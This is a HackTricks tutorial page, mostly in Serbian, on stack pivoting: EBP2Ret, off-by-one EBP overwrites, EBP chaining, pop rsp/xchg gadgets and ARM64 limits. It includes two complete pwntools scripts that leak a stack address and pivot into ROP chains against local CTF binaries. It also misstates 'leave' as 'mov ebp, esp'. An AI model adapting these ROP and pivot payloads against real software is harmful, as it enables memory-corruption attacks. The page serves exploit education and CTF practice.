12 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Osnovne informacije
Ova tehnika koristi sposobnost manipulacije Base Pointer (EBP) za povezivanje izvršavanja više funkcija kroz pažljivo korišćenje EBP registra i sekvencu instrukcija leave; ret
.
Kao podsetnik, leave
u suštini znači:
mov ebp, esp
pop ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
Ova tehnika je posebno korisna kada možete promeniti EBP registar, ali nemate direktan način da promenite EIP registar. Ona koristi ponašanje funkcija kada završe izvršavanje.
Ako, tokom izvršavanja fvuln
, uspete da injektujete lažni EBP u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir pop
operacija), možete indirektno kontrolisati EIP. Kada fvuln
vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna pop
operacija smanjuje ESP za 4, efektivno ga usmeravajući na adresu koju je napadač sačuvao tamo.
Obratite pažnju da morate znati 2 adrese: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
Exploit Construction
Prvo morate znati adresu na kojoj možete pisati proizvoljne podatke / adrese. ESP će pokazivati ovde i izvršiti prvi ret
.
Zatim, morate znati adresu koju koristi ret
koja će izvršiti proizvoljni kod. Možete koristiti:
- Validnu ONE_GADGET adresu.
- Adresu
system()
praćenu 4 bajta smeća i adresu"/bin/sh"
(x86 bitovi). - Adresu
jump esp;
gadgeta (ret2esp) praćenu shellcode-om koji treba izvršiti. - Neki ROP lanac.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti 4
bajta zbog pop
dela leave
instrukcije. Bilo bi moguće zloupotrebiti ovih 4B da postavite drugi lažni EBP i nastavite sa kontrolisanjem izvršavanja.
Off-By-One Exploit
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete samo modifikovati najmanje značajan bajt EBP-a. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa ret
mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožim uslovima.
Obično se modifikuje bajt 0x00 da skoči što je dalje moguće.
Takođe, uobičajeno je koristiti RET sled u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi ESP pokazuje unutar RET SLED-a i da se konačni ROP lanac izvrši.
EBP Chaining
Dakle, postavljanjem kontrolisane adrese u EBP
unos steka i adrese za leave; ret
u EIP
, moguće je premestiti ESP
na kontrolisanu EBP
adresu iz steka.
Sada je ESP
kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je RET
. Da biste to zloupotrebili, moguće je staviti na kontrolisano mesto ESP ovo:
&(next fake EBP)
-> Učitaj novi EBP zbogpop ebp
izleave
instrukcijesystem()
-> Pozvan od straneret
&(leave;ret)
-> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi&("/bin/sh")
-> Parametar zasystem
U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-ova kako bi se kontrolisao tok programa.
Ovo je kao ret2lib, ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
Štaviše, ovde imate primer izazova koji koristi ovu tehniku sa stack leak da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP možda neće biti korišćen
Kao objašnjeno u ovom postu, ako je binarni fajl kompajliran sa nekim optimizacijama, EBP nikada ne kontroliše ESP, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u osnovi propasti jer nema stvarni efekat.
To je zato što se prolog i epilog menjaju ako je binarni fajl optimizovan.
- Nije optimizovan:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizovano:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Druge metode za kontrolu RSP
pop rsp
gadget
Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je pop rsp
gadget i postoji leak sa steka:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Proverite ret2esp tehniku ovde:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Reference i drugi primeri
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bita, bez relro, kanarinca, nx i pie. Program omogućava leak za stack ili pie i WWW za qword. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući
.fini_array
unose + pozivajući__libc_csu_fini
(više informacija ovde). Zloupotrebljavajući ovo "večito" pisanje, napisano je ROP lanac u .bss i završava pozivajući ga pivotovanjem sa RBP.
ARM64
U ARM64, prolog i epilog funkcija ne čuvaju i ne preuzimaju SP registar u stacku. Štaviše, RET
instrukcija ne vraća se na adresu koju pokazuje SP, već na adresu unutar x30
.
Stoga, po defaultu, samo zloupotrebljavajući epilog nećete moći da kontrolišete SP registar prepisivanjem nekih podataka unutar stacka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da kontrolišete x30
registar.
- prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP pokazuje na frame record
- epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
{% hint style="danger" %}
Način da se izvede nešto slično pivotovanju stacka u ARM64 bio bi da se može kontrolisati SP
(kontrolisanjem nekog registra čija se vrednost prosleđuje SP
ili zato što iz nekog razloga SP
uzima svoju adresu iz stacka i imamo overflow) i zatim zloupotrebljavati epilog da učita x30
registar iz kontrolisanog SP
i RET
na njega.
{% endhint %}
Takođe na sledećoj stranici možete videti ekvivalent Ret2esp u ARM64:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.